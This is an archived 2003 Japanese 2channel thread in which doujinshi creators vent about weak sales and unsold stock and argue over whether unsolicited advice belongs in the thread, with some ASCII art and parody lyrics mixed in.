その上開き直ってるみたいだからかな。
そこまで安寧な愚痴りの場を確立することに血道あげるより
もっと作品の精進せぇよ、だから売れねぇんだよ……
とアドバイ厨じゃなくても言いたくなるわ。
そういう人が匿名で愚痴を吐くところなんだから、
向上心のある人は覗かないで下さいよ…
>625
向上心ないから売れないんじゃねーの?と
煽りレスがつきそうだ象。

グチって、スッキリして、それから次に向かうためのスレだろう?
「向上心のある奴お断り」って、言ってて虚しくないっすか…。
ただダラダラやりたいだけだけど、
売れないと現実が見えてちょっぴり寂しくなるだけ
なんだよね。
でも同人誌作るのはみんな楽しいんだよね。
「普通に1000以上売れてても、それ以上売れなくて悲しい」というヤシもこのスレにはいるのだが。
なんか勘違いしてるヴォケがいるな。
ううー。こんなスレじゃ悲しさを吐けない。
>>621>>624
必死なのはお前だよ(w
某所でここの相談にのってあげるチャン叩かれてるのも知らないで( ´,_ゝ`) プッ
631次スレ用テンプレ:03/01/29 09:26 ID:VskBA+Uj
タイトル:本が売れない悲しさ(その8)

********>>1に書き込む*******************************************

ピコ〜大手まで。
思ったよりも本が売れなかった悲しさ、切なさをコソーリ吐き出そう。

※ここは愚痴吐きスレです。売れるノウハウスレではありません。
  『相談に乗ってあげるちゃん』はご遠慮下さるか、下記のスレにご移動下さい。

【誘導】
ここは、「売れないの誰か助けて!教えて!」「売れる方法教えてやる!」という
主旨のスレではありません。 「売れないのはヘタレ」「気合いが足りない」
「ジャンル移れ」系の絡みも無用です。
その手のノウハウをお望みの方は下記のスレにご移動下さい。

同人ノウハウ板。
http://comic2.2ch.net/2chbook/
★ピコ手専用★売り方見せ方アイデア集!
http://comic2.2ch.net/test/read.cgi/2chbook/982561743/
【内容】買わなかった理由スレPart3【装丁】
http://comic2.2ch.net/test/read.cgi/doujin/1042275217/
スペースのレイアウト・2nd
http://comic2.2ch.net/test/read.cgi/2chbook/1040990428/

過去スレは>>2
632次スレ用テンプレ:03/01/29 09:27 ID:VskBA+Uj
********>>2に書き込む*******************************************
【過去スレ】
※初参加の前に過去ログに目を通しましょう。
■その7■
http://comic2.2ch.net/test/read.cgi/doujin/1040150519/
■その6■
http://comic2.2ch.net/test/read.cgi/doujin/1032059606/
■その5■
http://curry.2ch.net/test/read.cgi/doujin/1024069794/
■その4■
http://kaba.2ch.net/test/read.cgi/doujin/1016229256/
■その3■
http://yasai.2ch.net/test/read.cgi/doujin/1002915258/
■その2■
http://yasai.2ch.net/doujin/kako/994/994778648.html
■その1■
http://yasai.2ch.net/doujin/kako/987/987919921.html
>>628
まあ1000ぐらいしか売れないサークルは
結局何をやっても駄目だよね。
いい加減に自分の才能の無さを認めなよ。
つーかさ、愚痴書きこみにレスをつける人間の中にアドバイスを装って、自分の方が
マシって言いたいだけの、他人を見下した口調で書きこむのがいるから荒れるんじゃ
ないの?

>>630
別に相談にのってあげたことなどありませんが
そのレスの様子から、きっとアナタが支持してるのであろう

本の売れない可哀想な私に愚痴だけ気持ち良く吐かせてよ!!
みんなにこの気持ち分かって欲しいけれど、私の耳に障るレスはいらないの!!!
でもどーしても2chで言いたいな………だって独りは淋しいんだもん。

という気の毒な主張は必死で滑稽に見えます。
特に( ´,_ゝ`) プッとか使うところとか。よほど売れなくてイライラしてるのですね。
>>634
ああ、まぁそーかもしれん。
でも『なぜ? なぜ私が売れないの!?』といかにも構ってほしげな
悲劇のヒロインっぽいレスもあったりするからなぁ。

でも売れない……という、いかにもコンプレックスがテーマのこのスレに
煽りっぽい見下しレスが来ることくらい覚悟の上で、さらりとスルーできないと
やってけないんじゃない?
ここ全体が『売れない同人コミケ板』なワケでもなし。
…んじゃお前からスルーしろよマジで。>さらりとスルーできないとやってけないんじゃない?

厨からかって遊んでんじゃねぇよ。回線きりまくってあちこちで暴れるんだから
>>636
そういう貴方もスルー出来てないようですが……
「スルーしろ」
とわざわざ書き込むのも荒れの元ですね。
まぁ私はスルーしろとは思ってないので言わせて頂きますが。
被った…

とりあえず、
とっととこのスレ消費して、新テンプレで早く始動したいというのが本音です。
またこの話題ですか。(´▽`)
驚きましたか(´▽`)
向上心があって、絵もそれなりに描けて、話もまあまあなのに
売れない人は売れないよな。
売り子の雰囲気とか、ただ見せ方がイマイチとか、ジャンルが
原因だとか、いろいろあるんだろうけど。

どう考えても自分で原因が分からない場合「なんで?」と悲観
したって仕方ない。
「好きだからやってるんだろ」と言われても「売れない=反応が
ない」っていうのは、やる気につながる問題だし。

何百・何千も売れる人は同人界全体ではほんの一握り。
(コミケ=全同人ってワケじゃないしな)
「売れない!」って愚痴りたい人は、けっこういるはず。
でも、人前や自分のサイトじゃ愚痴れない。
そんな人がグチる場所がココであって欲しいな。
>>631

※ここは愚痴吐きスレです。売れるノウハウスレではありません。
  『相談に乗ってあげるちゃん』はご遠慮下さるか、下記のスレにご移動下さい。

【誘導】
ここは、「売れないの誰か助けて!教えて!」「売れる方法教えてやる!」という
主旨のスレではありません。 「売れないのはヘタレ」「気合いが足りない」
「ジャンル移れ」系の絡みも無用です。

↑この部分、内容が重複してまつ
まとめた方が行が少なくなってすっきりするかと
644こんな感じは?:03/01/29 15:10 ID:o/ndu/do
********>>1に書き込む*******************************************

ピコ〜大手まで。
思ったよりも本が売れなかった悲しさ、切なさをコソーリ吐き出そう。

【誘導】
ここは愚痴吐きスレです。売れるノウハウスレではありません。
「売れる方法教えてやる!」「気合いが足りない」
「ジャンル移れ」「売れないのはヘタレだから」
系 『相談に乗ってあげるちゃん』、『アドバイ厨』はご遠慮下さい。
その手のノウハウをお望みの方は下記のスレにご移動下さい。
>642
>何百・何千も売れる人は同人界全体ではほんの一握り。

そういう問題じゃない。
たとえば何百くらいなら帝都の都市にゃゴロゴロいる。
そういうイベントの参加者はそれ以下の厨房イベントや
ましてその参加サクールなんてまったく視野にないよ。

それぞれに自分のフィールドってもんがあり、
みんな「その中で」本が売れないことを悲しんでるんだよ。
>相談に乗ってあげるちゃん

そんな挑発的な表現使うから煽られるんだろ。
ヲチ系のスレで晒し者にされるサイトを見りゃわかるけど、
実力もないくせに自分以外の人間を見下した発言をすれば叩かれるのは当たり前。
俺の目には煽って欲しがってるようにしか見えない。
  ワケ     ワカ      ラン     ワケ       デモ     ナイ♪
  ∧_∧   ∧_∧    ∧_∧   ∧_∧     ∧_∧    (⌒)(⌒)
 ( ・∀・)  ( ・∀・)   ( ・∀・)  (  ・∀)    (∀・  ) 彡│ || |
⊂ ⊂  )  ( U  つ  ⊂__へ つ  ( ○  つ   ⊂ ○ )   (∧_∧⊃
 < < <    ) ) )     (_)|   \\ \   / //    ( ・∀・)
 (_(_)  (__)_)    彡(__)   (_(__)  (_(_)     ∪
     トモ       イエ      ナイ     ケレ      ド♪
     ∧_∧      ∧_∧    ∧_∧  ∧_∧    ∧_∧
     ( ・∀・)     (, ・∀・)∩ (・∀・∩) (,, ・∀・)    ( ・∀・ )っ
   (( ( つ  ~つ )) (( (つ    ~ノ  (つ  丿 (つ  つ )) ( つ  /
     乂  ((⌒) )) + ヽ (⌒ノ   ,( ヽノ     ) ) )    |  (⌒)
     (__) ̄      (_)U   し(_)    (_)_)     し'⌒^ミ
     イイ        カゲン        ソノ     ヘンニ
     ∧_∧        l |  | l
   ◯( ・∀・ )◯    ∧_∧        ∧_∧    ∧_∧
    \    /     ( ・∀・ )      ∩ ・∀・)  ○( ・∀・ )○
     |⌒I │     ⊂     つ      ヽ ⊂丿   \    /
    (_) ノ     / /\ \     ( ( ノ ))  ミ,( ヽノ
      し'     .(__)  (__)     し'し'     し(_)
       シト        ケヨ       ナ♪
      ∧_∧      ∧_∧     ∧_∧∩
      ( ・∀・)    ⊂( ・∀・ )   (・∀・ )ノ
     ⊂ ⊂  ノ彡    (   ノU    ノ   つ
       Y .人      |(  )    (⌒),、 ヽ.
       (_)'J     し ∪ ミ     ̄  し''
      ッテ     ナンド     イワ       セリャ
    /)__∧     ∧_∧     ∧_∧     ∧_∧
    | |・∀・)   ( ・∀・ ∩    (・∀・ )    ( ・∀・)
    (    )   ⊂    ノ  (( ( つ  つ   ⊂  ⊂ )  ))
   / /) )    ,(__つ     ( (\ \   / /) )
  (__)〈__つ   し'         (_) (__) (__) (_)
      ワカ        ルンダ        ヨ♪
     ∧_∧       ∧_∧      ∧_∧
     (∀・   )∩     (  ・∀)   ○(・∀・# )
   ⊂   ○  ノ     (  (_`つ      \ _   )ゝ
   _/ /> >      > 〉\ \     (__)ヽ ヽ
  (__ノ  \_)     (__) (__)        (__)
>>648
ぐっじょぶ!
>>633
とりあえず、
>1000ぐらい*しか*売れない
という言葉は、1000売れない人全てを馬鹿にしていることになるからやめれ。

そんな私は>634と>645に禿同。

売れたいからジャンルを選ぶんじゃないのは分かっているけど、
萌えがあるからこのジャンルをやっている。そう思っている。
他には、自分の限界を、壁を敗れなくなっていることを感じている。
それでも向上心を持っていこうと努力している。
理由や気持ちはどうあれ、普段は頑張っている人が大半だと思いたい。
まあ一部、既に諦めが入っている人もいないではないだろうが。

でもずっと頑張っていると、時々立ち止まって後ろを向いて、愚痴も言いたくなる。
それが1000以上売れない、であろうと、一桁しか売れない、であろうと、
悩みは悩み、呟きたいという気持ちは一緒だと思う。
壁大手もピコピコも、愚痴りたいと思ってここへくるんだと思っていたよ。

早くもとの空気に戻りますように…
>650
言ってることは同意だが、>633みたいな判りやすい煽りに反応しないように。
>650
それはそーなんだろーけど
何がなんでも愚痴レスしか認めない、その他のレスは絶対排除!!
ってヒステリックに喚き散らして、何度もテンプレ練り直してる
売れなさ過ぎてテンパってる人がいるからなー。
そんなに売れない嘆きを、ただただ垂れ流したいがために必死なのか。キモ。
なんか向上心ある人は来ないでくれなんて、とんでもレスがあったりするし……

でも
> 『相談に乗ってあげるちゃん』、『アドバイ厨』はご遠慮下さい。
なんてわざわざ煽られそうな表現使う辺り、実はスレを荒らしたい派なのかもしれんが。
だとすればその意図は成功している……と言えるのか…?
>>652
アドバイ厨や相談に乗ってあげるチャン如きで
なんでそんなに目くじら立てるのか謎なんだが、君。
別にこのスレは消費していいと思うし。
>何度もテンプレ練り直してる

・・・次スレのテンプレ案練り直し討議はどこのスレでもよくある事ですよ。
ひょっとして参加スレ数少ない人なのかな?
長寿スレは過去スレ不読参加者が増えてくるので、当然>1の文は
途中で何度か最適化される。
つまり普通の事なの。
ヒステリックにテンプレ張ってると思うあたりが初心者ぶりを
さらけ出してて失笑ものなんですけど。
>654
最近のは「ヒステリック」に見えるよ……。

A「こんなに売れないかわいそうな私、どうしたらいいの?」
B「〜〜すればいいと思われ」
A「ここは愚痴吐きスレです、アドバイス厨逝ってよし」
B「オマエモナー」
A「こんなに売れないかわいそうな私、どうしたらいいの?」
B「〜〜すればいいと思われ」
C「こんなに売れないかわいそうな私、どうしたらいいの?」

なら問題なし。

A「こんなに売れないかわいそうな私、どうしたらいいの?」
B「〜〜すればいいと思われ」
C「漏れは〜〜すればいいと思う」
B「いや、それは間違ってる!」
D「〜〜しる!」
A「……別にアドバイスが欲しいわけじゃないんです」

がちょっと前までの状態かと。
>ヒステリックにテンプレ張ってると思うあたりが初心者ぶりを
>さらけ出してて失笑ものなんですけど。

売れないスレの常連ってのもなあ。
モニタの前の人笑ってるぞ…。
>>658
で、君は売れてるの?
売れてるならスレ違いだから退去してくだされ。
>売れないスレの常連ってのもなあ。

↑これがもう、マジでこのスレを理解してない証拠。
ピコスレじゃないと何度言っても理解しないのは何故なの?
このスレの住人がモニタの前で呆れてるよ…。
>>659-660
売れ具合はぼちぼちです。
居てもよろしいでしょうか、先輩!
頼むから悲しさを普通に言わせてくれ。
>A「……別にアドバイスが欲しいわけじゃないんです」
これはちょっと前までの状態でも出てきてないが?
脳内と現実ごっちゃにするな。いくら売れなくてイラついてるからって。

>656
胴衣
>>661
売れ具合ぼちぼちねぇ…
「一万部刷ったけど、残り5000部が捌けないのでとうとう焚書にしました」
とか、そういうのが欲しいわけだが。
現在の在庫では焼き芋一本焼けません。

本がなくて売れない悲しさ…こういうのは可?
冗談抜きでうちの現状な訳だが。
日曜日にオンリー出たのだけど、
本1種の売り上げ、片手で数えられるよ。
全種類合わせても両手両足あれば充分。
冬祭りでは新刊200出たのに・・
既刊も40〜60ずつは捌けてたのに。
オンリーでこの有り様。
鬱氏
>>665
ありです。

「コミケに落ちて、スペースも委託先もないので本が売れません」もありのスレですよ。
冬コミ前後のログ見てもらえると判ると思うが。
665は、「新刊を出してないから在庫がない、売れない」という意味では…
>>668
ん?
でもありだと思うけど。
私、マイナージャンルなんで読者の上限に限度があって、
例えばの話し、100部刷って発行日とあと1〜2回のイベントで
9割5分捌けちゃうんだよね。だからって、100部以上刷っても売れないし。
発行ペースも鈍いから、時々スペースに置ける在庫が
一種だけという状態になる事もある。
そういう自分のパターンが脳裏を過ぎって「あり」だと思ったんだけど。
667=669です。
>>1-670
どうしてお前らが売れないのかよくわかった。
>>660
別にピコじゃなくて、千単位の話だろうと
売れないことを何度も愚痴ってたら恥ずかしいと思うがナー。
なんか勝手に早とちりしててモニタの前で呆れ……


別に売れないのを愚痴るのは恥ずかしいと思わないが、売れない原因が
あたかも自分には無いかのような発言は恥ずかしい。

社会人の愚痴で「仕事が辛くってさあ」ていうのには「頑張れよ」と励ましたいが、
「上司が使えなくて、取引先がバカで」って言う奴には「そういうお前はどうよ?」と
言ってやりたいのと同じ。
。。。恥ずかしいのも、売れない原因が他者のせいだけではないことも、本当はわかった上で愚痴ってるんだけどなあ。。。
本当はみんな他人様に説教されなくても思いっきり自己嫌悪に陥りまくって、沈みまくって、それでもどこかで毒吐きたくて、ここで毒吐いてすっきりして、また明日から努力するか〜!って立ち上がるんだけど。

何でわからんのかなあ。。。ここまで言ってもわからんかったら、もういいよ、ホントに。
>>674
だからさあ。他人のせいだけじゃないと思ってるのに、あたかもそうじゃないような
物言いになってるのが「恥ずかしい」って言ってるんだよ。読解力が足りないなあ。
本気で他人のせいだと思ってる真性もいるのかも知れないが。
ん〜〜、自分は存分に毒吐きたいのに
他の意見は“アドバイ厨”“相談にのってあげるちゃん”などと
まるで揶揄するような開き直りで追い出そうと暴走している輩がイタイのだが…。
そういうヤシに限って偉そうな口調で、オマイ、ホントは売れない自慢したいんじゃないか?
このスレは売れないことがステイタスなんか?って感じだし。

愚痴ることに恥じらいを持ってる人には、そんなムゲなレスは付いてないと思うけど。
絡まれるには相応の理由があるし、それも2chの内だよ。


まだこの話題なのか…( ´ _ゝ`)
マターリしていた雰囲気が好きだったのになあ( ´Д⊂ヽ

も う あ の 頃 に は 戻 れ ま せ ん か ?
私は>>657の感じでいいと思うんだけどな
励ましもアドバイスも続かなきゃうざくないからさ
でもここの所、ひとりが売れないことを嘆くと、
いくつも励ましやらアドバイスやらがついてた感じだった気がする。
後、こういう絵柄は売れないって話をしてたけど、
それも続くとうざい感じがした。
何事もほどほどがいいと思うんだけど…
うまくいかないもんだね。
>>678
いや、以前から定期的あるお祭りですよ、これ。
アドバイ厨扱いを「過剰反応」と捉えている人がいるようだが、
こっちは同じ祭りを何度も繰り返してるから
うざくなってるだけだっつーに。

http://yasai.2ch.net/doujin/kako/1002/10029/1002915258.htmlの777-795辺りとかさ

とりあえずアドバイ厨や相談に乗ってあげるチャン扱いが
不快だという初心者さんは、せめてスレ2だけでも熟読して参加して欲しい。
全部読めとは言わないから。

おながい…
では売れない悲しさ、行きます。

マイナージャンル。新刊は30前後売れるんだが既刊がまったく出ない・・・
ようやくその売れ数に気付いたときにはオフで数種作っちゃってたよ。
在庫が動きませんよ!イベントには新刊だけ持ってけば無問題ですよ!あはは(´Д⊂
>>675
お前は読解力以前に日本語が読めないようだな。
674はちゃんと「恥ずかしいのはわかってる」って明記してるじゃないか。。。奴は「恥ずかしいのはわかってるから、そんな当たり前の事をいちいち指摘するためだけのカキコすんなよ」って言ってるんだよ。
>>680
単なる定期的な祭りと割り切れる度量があるなら
余計な論争を呼ぶアドバイ厨扱いもやめたら?
過剰反応かどーかより、実際『アドバイ厨Uzeeeeee―!!』なレスもうざいし。

>とりあえずアドバイ厨や相談に乗ってあげるチャン扱いが
>不快だという初心者さんは、せめてスレ2だけでも熟読して参加して欲しい

こういう風な書き方だから、傲慢に見えて不快がられるんじゃないかなぁ…
人に〜〜して欲しい、と要望するなら、反発されないように書かないと意味なかろ。
このスレのベテランだと自負すんなら、そういう余計な摩擦を増やさなきゃいいのに。

それこそおながい…
>>683
でも、厨に種類つけるのって、2chではよくある事なんですよ?
2典入りした「厨」だけでも
2ちゃんねる七厨板/犬厨/黄金厨/おば厨/オバ厨/嫌韓厨/桜厨/自治厨/知ったか厨
スーパーリアル厨房/第2厨房板/月厨/夏厨/納厨/ネ厨/ネラン厨/葉鍵厨/春厨/ブビ厨
冬厨/リア厨
と、これだけあるし、各板、各スレ独自の「○○厨」もある。
2chというのは
「過去ログ全部読んで一ヶ月ROMって雰囲気を掴んでから参加し、
スレ違いや空気読めてないレス入れたら叩かれるのが当然」
というルールがある。
常連や古株の脳内ルールじゃなくて、明文化もされている。
板なりスレなりの独自の流れや、ローカル言語の意味を理解せずに参加するから、
スレ違いだと叩かれるんじゃないの?
言葉遣いがどうの、「〜して欲しい」と要望すべきだの、義務怠っておいて、
なにを要求してんの?と言わざるを得ないんですけど。





>>783に、古くからある同人板のコピペをお送りします。

--------------------------------------------------
俺が始めて同人板に来たとき猛烈に煽られた。
過去ログを探せだ検索してから来いだの
それは酷い煽られようだった。
あれから一年、俺も昔に比べれば上達した。
そして同人板で他の奴らとは違って親切に教えてやろうと
身構えた。そこに質問スレッドが現れた。
「同人誌ってどうやって作るの?」
こいつを殴ってやりたかった。
初心者向けのホームページも見ずに、なんでも簡単に適当に
お手軽にここで聞きゃ教えてくれると思ってやがる。
俺は迷わずこう言った。
「過去ログ探せ!白痴」
一年前を思い出す。
あれは煽りではなく同人板住人の涙だったんだ。
---------------------------------------------------
783はどんな白痴な発言をしてくれるんだろう。今から楽しみだ。
>>686
いや、785のコピペは別にまんま783を表しているわけではないので。
ようするに過去スレは全部読んでからの参加が当然なんだよねと言いたかっただけ。
過去スレ読むのは大変だと思うが、読めば嫌でもそのスレの流れや雰囲気が
判るし、過去にあった良スレを読む事は、スレに興味を持った人にも
有益な事だと思うんだけど。
パソコン系の板だと、過去スレ全検索してからの質問じゃないと応じてもらえない。
あの徹底ぶりと比べたら、同人板なんて嫌味言いつつも説明してあげたりして、
かなり優しい方だと思うけどね。
>687
落ち着いてレス番確認汁。
そしたら686の言いたい事も分かるだろう。
ようするに、「アドバイ厨」に反応する人は、
アドバイスする人全般引っくるめられてると思ってるんじゃない?。
アドバイスする人で、なおかつ厨房である人がアドバイ厨なんであって、
単にアドバイスするだけなら無問題だと思うのだが。
「売れない〜」というレスを見て、「ああ、それならこうした方がいいかも」
という普通の助言をくれる人まで叩かれてるわけじゃないんだし。
「ジャンル変えたら?」
「画力UPしる」
「努力が足りないんじゃないの、私なんか…」
みたいな、見下し系のレス入れて、
本人はアドバイスのつもりらしいという人がアドバイ厨であるわけで。
あと、ピコスレと誤解して、親切なつもりで頓珍漢なレス入れてるのが
相談に乗ってあげるチャンではないかと思う。
>>688 ワラタ(w
691686:03/01/30 12:49 ID:SPmMzz1A
まあ、みんな少し餅つけと。
お前ら皆まとめてログ読め。空気読め。
せっかくの「売れない悲しさ」話が
どんどん流されてるぞ。
自分のレスで決着つけたいんだろうけど
どうせ前に誰かが書いた似たようなことしか書けないんだから
大人しく黙っとけ。
お前等普段からそうやつて人の話聞かないから売れないんだろ!
売れない悲しさいきまーつ。

冬ね、ジャンル変えて初めての参加でした。
既に斜陽も過ぎたようなジャンル、カプの流行りも過ぎている。
そんななか、同じカプの大手(といっても島中。カプ人口自体少ないので)と
最大手に挟まれますたよ。

左右が何十マソも売り上げを伸ばすなか、私はポツーンと座っていました。
売り上げは…オフ新刊23冊とコピ新刊14冊。
カプ絨毯攻撃している人が、私のスペースだけを抜かして買っていく。
売れない事実よりも、そういう事実の方が痛かったでつ。
>694
自分もあったよそんなこと。
新規参入じゃなくてずっと長くやっていただけに悲しかったな。
同カップリングなのに、うちだけとばされて手にも取ってもらえない
なんて…。
長くやってるだけに地雷サークル認定済みとか追い討ちをかけてみるテスト…
>696
それだけは言っちゃあならねぇ(ワラ
何年もやってるくせに全然上達しない所が結構あるけど
そういうのはスルーされるのは仕方ないしね…
誰も知らない 知られちゃいけない
デヴィ夫人が何なのか
誰も出来ない 歯向かっちゃいけない
デヴィ夫人の言うことは
人の世に愛がある 人の世に離婚ある
この人の私生活に 口出したいだけ
今日もどこかでデヴィ夫人
今日もどこかでデヴィ夫人

誰も知らない 知られちゃいけない
デヴィ夫人がやらせだと
誰も言えない 突っ込んじゃいけない
デヴィ夫人のヒステリー
もうこれで帰れまい 野村沙知代にマリアン
あとは美川にミッチー カイヤ川崎
明日もどこかでデヴィ夫人
明日もどこかでデヴィ夫人
           
ハイ、次の売れない悲しさどうぞー
冬込み前に突然割とメジャーなジャンルにハマってしまい
思いきって50部(ピコなんで)刷ってみたら
年明けのインテとあわせても半分しか出なかった。
冬込みの配置が別ジャンルだったから、だといいな・・・甘いか(;´Д`)
今年はあまりイベント出れそうにないのにこの在庫、どうしよう
書店委託用に100単位(時には10単位)で卸してるけど、通販・イベント用
にと自宅に残した余部の十数冊(×数種類)・・・なかなか無くならない。

イベントにも年3〜4回くらいしか出られないし、通販もそんなに来ない。
書店だとすぐ在庫切れになるのに(余るのもあるけど)、自宅にある
十数冊を「追加発注お願いします」とは言えず、それぞれの本が段ボールの
中で寝かせたまま数年が経とうとしています。
いっそ書店のみにした方がいいんだろうか? でも自分の手でも売りたい
んだよ・・・
>>700
捨てればよし。
>>701
お仲間ハケーン
何であの手持ちの分って売れないんだろうねえ。。。
>701や703とはちと違うかもしれんが。

最初は快調でも、残り50冊くらいから雲行きが怪しくなりだし、
残り10冊とか20冊になるとどうしようもなく売れなくなる。
100部でも200部でも500部でも1000部でもどのジャンルでも、
それが絶対起こるから滅茶苦茶不思議だ。
>704
売れる予測数より、気持ち多めに刷るのが普通だから、
当然といえば当然というか…。
各本が2〜10冊くらいで残っている。
2桁切ると岩のように動かなくなるよね…在庫(つД`)
あのジンクスだけは必ず付きまといます。
というわけでうちのサークル、完売は24冊中2冊…
うちも似てる…。
残り50冊切ってからが一年くらいかかったりする。
書店委託に残っている最後の1冊が……!
あの塩漬けになってるの早く何とかなってくれー!
それは見本誌になってるんじゃ…
>>706
確かに。私の本も、各種10冊前後づつ残ってる…

でも、うっかり完売してえらい目に遭う事もありませんか。
私の友人、
100部刷って即完売、
100部再版して即完売、
また100部再々版して即完売、
このままじゃ再版貧乏になると判断して
思い切って300部再々々版した途端に全く売れなくなって、
あれから3年経つけど、在庫が270部くらい残ってるって言ってます。
ワロタ
>706
漏れも・・・・・
50冊刷って、この前の大掃除の時に
半分捨てました。

半分も売れねえんだ。・゚・(ノД`)・゚・
>710の友人の話が恐い、710の友人の話が恐い

いま正に3度目の再版を、気持ち多めに刷ろうとしている未来の自分の様
でも1〜4巻の合体だから、ピコなりに部数は多めにしないと…
5巻だけじゃ売れないし…
オオーオオオー
最後の残り●部が延々と売れない現象に慣れちゃってるから
自分はそれがないとかえって慌てるぞ(w

まぁそれが再版のめやすなわけだが…
他の本はそうでもないのに、一種類だけ20冊を切った後からぴたっと動かなくなった
さすがにそろそろ処分した方がといいと思うんだけど、
実は今のジャンルで作った他の中で一番、気に入ってるいる本…
きっと来年になってもありそうな気がする。

>716
私も気に入っていて処分していない在庫あります
気づいたら7年間も持ち歩いてるけど
よかった……5年前に作って残り10冊の本、あと2年は
持っててもいいんだ……
いつぞやのスレで7年増刷した本をまだ売ってると言ってたおねぃさんです。
アテクシはついに8年目ですよ!
つーか、初版の発行から数えると、たしか9年目ですよ!
冬コミでなんとか4冊捌けたんで目標の「年間50冊」は達成できたわ。ラリホーラリホー♪
うち1部は、最近できた知り合いにあげたんだけどね。
あと70部ってとこか……。ウフフフー。ウフフー。


でも、最後の段ボールが半分以下になって、ちょっぴり寂しい気もするのよ……。
1行目、間違っちゃったわ。

7年増刷した→7年前増刷した
わかるような気がします、おねぃさん…>ちょっぴり寂しい
半年くらいで完売したかったのに2年半かかってしまった本の
最後の1册が売れたときは妙に寂しい気がしました。
なんなんでしょう、あれは…
>半年くらいで完売したかったのに2年半かかってしまった本

これも悲しいよね。
私も限定で出したつもりの本が半年以上残った時にはどうしようかと…
更にようやく最後の一冊になったかと思ったら、その本をもってかれたよ。
苦労した本だから噛みしめて最後の一冊を売りたかったのにさ。
これも本が売れなかった悲しさかな?
♪別れ〜る〜こぉとぉは〜 つらいぃけぇどぉぉ〜〜


仕方がないんだ君のため?
長年連れ添った相手は、飽きてもいるしウザくもあるが、
やはりお別れとなると寂しいものなのよ…
1年前に80部刷った本がきっちり1年かけてこの前の冬コミで完売した。
……直後に「この本ありますか?」と立続けに3人くらいに聞かれた。
最後の頃なんか1回のイベントで1冊出ればいい方だったから
再版するかどうか悩み中。

夏コミに受かったらこのスレのお世話になるつもりでその3人のために再版します。
30部刷ってもあと27部か…フフッ
くだんの「最後の50部になると突然売れなくなる」現象が積み重なり、
既に15種類ほど溜まってしまっている自分のサクル。
更にジャンル隆盛時に、調子こいて1400部刷った本が、まだ300部ほど残(ry
ジャンル斜陽時に、調子こいて800部刷った本が、まだ400部ほど残(ry
ジャンル没落時に、調子こいて400部刷った本が、まだ100部ほど残(ry

これ以上溜まるのはどうかと思って最近は部数を滅茶苦茶減らしてる→
常に机の上がへたれ時代の古い本で埋まってる→間違いなく売り上げに悪影響を及ぼしてそう。
古い本を全種持っていかないで厳選すれば、一種ずつ順調になくなるのは頭ではわかってるんだけど、
少しでも売りたい一心で全部持っていってしまう→売れない  以下無限ループ。ああ、アフォだとも。

ちなみに、一種完売するたびに、売り子と一緒に打ち上げパーチーをやってるんだが。
本人だけではなく、売り子(身内)までも小躍りです>搬入出や販売が楽になるから
ちなみにやってる間は感激の嵐だが、家に帰ってからうすら寒い気分になるんだよママソ……
>726
あなたは私ですか・・・私はもう少し(×0.7くらいか)数字が小さいけど。
最後の50部も調子こいて刷った本も無限ループのあたりまでまるで自分のことのようです。
違うのは打ち上げパーチーだけかしら。うちの本はもうここ3年、完売まで行かないから( ´Д⊂
ごめん、スレ読んでて少し不思議に思ったんだけど、
皆様の本は最後の1冊まで売って「完売」なのでつか?
うちは十数冊ぐらいになったらあとは乱丁交換と思い出用に残して
「完売」ってことにしちゃってる。
最も、近年その「完売」もなかなかなところは……
思い出が重いで(撲殺
便乗すみません
私は自分の思い出用1冊
取り替え用に3〜4冊だけ残してあとは
刷った分全部売りますね。で、運良く無くなれば完売と
(でもいつも微妙に一桁残って妙に切なく)
皆そうしているものだと
思ってたんですか違うんですかね?
1/12都市にサクル初参加。ジャンルは庭球。100部刷って、5部だけ売れた。厨房が何人か並んだけどお金がないからと去って行ったのはちょっと悲しかった。
次は5月の都市だが、やはり100部刷る。在庫が残っても作るの楽しいから良いか・・・。
ところで、夏冬の祭りは年に比べて部数がさける言う人が多いが、5月の都市ってどんなんだろか・・・
>>728
自分用一冊残して全部売れたら完売と思ってます。
>730
その質問は赤蓋のスレで聞いた方がいいよ。
その書き方だとまたスレ違いループになりかねないし。

私も自分用一冊残して完売にしてるかな?
でもやっぱり4年前に500刷った本の残り50ほど動かない…
更に3年前に300刷った本の残りが3桁きった所でぴたっととまった。
それぞれ厚い本なので部屋がせまいよ…
> 732
そだね。アリガト、逝ってキマス。
売り子に「見本は自分の分だから売らないでね」と言って買い物へ。
戻ったら見本も売られていた。
2回のイベントで完売してしまったため再版希望の声をいただいたが、
データがあぼーんしてしまった上、
自分の分が無いので書き直しも出来やしない。
よく売れた本に限ってこうなるのは何故?
他の本なんて在庫が山のようにあるのに。
あぁ二重の売れない悲しさよ。

それ以来、自分用1冊+見本1冊になったら完売にしてます。
50刷ったのに80も届いた本。
50までは増刷を考えるほどトントン拍子になくなってったのに、
余部に入ってから売れない。残り30弱。
マイナージャンルだから今までと桁が違いすぎる悩みに二重鬱。
本を作り、

書いた人用に1部づつ。
自分の思い出用に1部。
それが無くなったら完売のつもり。

それで完売したのは数年前のピコ15部だけです。

それ以外????
聞かないでくだちゃい…。

お布施で数百部ずつ残ってるなんて、言えまちぇん…。
大昔にリア厨卒業記念で刷ったナマモノオフ本100部。
まだ70部位余ってる…。
今までで一番気合をいれて描いた本だったので値下げはしても
無料配布は嫌なのでまだ売り続けている…が。
絵が昔すぎて、同じジャンルで続けていても売れない…。
詐欺だとか言われそうでペーパーにのせるのすら気が引ける…。
ナマモノって、メンバーがかわったりして残ると大変そう…。
そうで無くても、髪型が今現在の姿で無いと、発行日はそんなに古い
わけじゃ無くても古い感じがする、と近畿で活動している
友達が嘆いていました。ジャニ系って髪型換え過ぎだもんな…(ニガ藁
739あぼーん:03/02/07 11:27 ID:MKSaeoSL
あぼーん    
740あぼーん:03/02/07 11:27 ID:MKSaeoSL
あぼーん     
741あぼーん:03/02/07 11:27 ID:MKSaeoSL
あぼーん      
>739-741
本物のあぼーんをちゃんと勉強してから来て下さいね。
名前と本文だけじゃダメですよ?
>偽あぼーん
IDがSL…(w
744名無しさん@どーでもいいことだが。:03/02/08 01:49 ID:NYoIUnyD
「努力すればロバも速くなる。
 しかしそれは足の速いロバであって、馬ではない。
 ましてや足の速い馬に、ロバは到底敵わない。」
745名無しさん@どーでもいいことだが。:03/02/08 03:18 ID:/0ySluqf
>739-741
そんなにあぼーんになりたいんなら漏れが作った糞スレを荒らせ!
漏れのあげたスレは全部荒れてるからな。
1時間前に作ったスレなんて糞すぎて1時間で荒れたぞ。
どーでもいい
>725
遅レスだけど、私も最後の1冊をようやく売った直後に、その本を買いに来る人が現れる。
